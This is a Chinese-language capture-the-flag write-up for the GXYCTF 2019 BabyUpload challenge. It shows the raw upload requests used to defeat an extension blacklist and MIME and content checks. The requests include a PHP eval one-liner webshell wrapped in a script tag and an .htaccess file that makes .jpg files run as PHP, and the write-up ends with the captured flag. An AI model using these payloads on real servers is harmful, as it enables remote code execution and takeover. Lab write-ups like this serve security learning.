【CTF】[GXYCTF 2019]BabyUpload

[GXYCTF 2019]BabyUpload

play

一、黑白名单判断

1. 直接抓包上传php文件

------WebKitFormBoundary0zdUuWNu9IYudhBL
Content-Disposition: form-data; name="uploaded"; filename="sqzr.php"
Content-Type: application/octet-stream

<?php phpinfo();?>

返回

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Upload</title>
<form action="" method="post" enctype="multipart/form-data">
上传文件<input type="file" name="uploaded" />
<input type="submit" name="submit" value="上传" />
</form>后缀名不能有ph！

2. 修改后缀名，确认是黑名单还是白名单

Content-Disposition: form-data; name="uploaded"; filename="sqzr.ppppp"

返回

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Upload</title>
<form action="" method="post" enctype="multipart/form-data">
上传文件<input type="file" name="uploaded" />
<input type="submit" name="submit" value="上传" />
</form>上传类型也太露骨了吧！

说明是黑名单，且对上传的类型也做了校验

3. 修改上传类型

------WebKitFormBoundary0zdUuWNu9IYudhBL
Content-Disposition: form-data; name="uploaded"; filename="sqzr.ppppp"
Content-Type: image/jpeg

返回

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Upload</title>
<form action="" method="post" enctype="multipart/form-data">
上传文件<input type="file" name="uploaded" />
<input type="submit" name="submit" value="上传" />
</form>诶，别蒙我啊，这标志明显还是php啊

说明对上传的内容也做了校验
4. 修改上传内容绕过校验

------WebKitFormBoundary0zdUuWNu9IYudhBL
Content-Disposition: form-data; name="uploaded"; filename="sqzr.ppppp"
Content-Type: image/jpeg

<script language='php'> @eval($_GET['cmd']);</script>

返回

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Upload</title>
<form action="" method="post" enctype="multipart/form-data">
上传文件<input type="file" name="uploaded" />
<input type="submit" name="submit" value="上传" />
</form>/var/www/html/upload/f68eaa5e64082f42830e792eb060a830/sqzr.ppppp succesfully uploaded!

上传成功

总结：

• 安全认证类型为黑名单
• 上传类型校验
• 上传内容校验

二、.htaccess方法绕过验证

1. 将所有jpg文件用php解析

------WebKitFormBoundary0zdUuWNu9IYudhBL
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .jpg

2. 上传jpg后缀的一句话

------WebKitFormBoundary0zdUuWNu9IYudhBL
Content-Disposition: form-data; name="uploaded"; filename="1.jpg"
Content-Type: image/jpeg

<script language='php'>@eval($_POST['cmd']);</script>

返回

</form>/var/www/html/upload/f68eaa5e64082f42830e792eb060a830/1.jpg succesfully uploaded!

3. webshell连接，找flag
   xxxx/upload/f68eaa5e64082f42830e792eb060a830/1.jpg
   在/目录下发现flag文件，打开获得flag
   NSSCTF{7cbf0b60-260b-42ce-814a-233754e49620}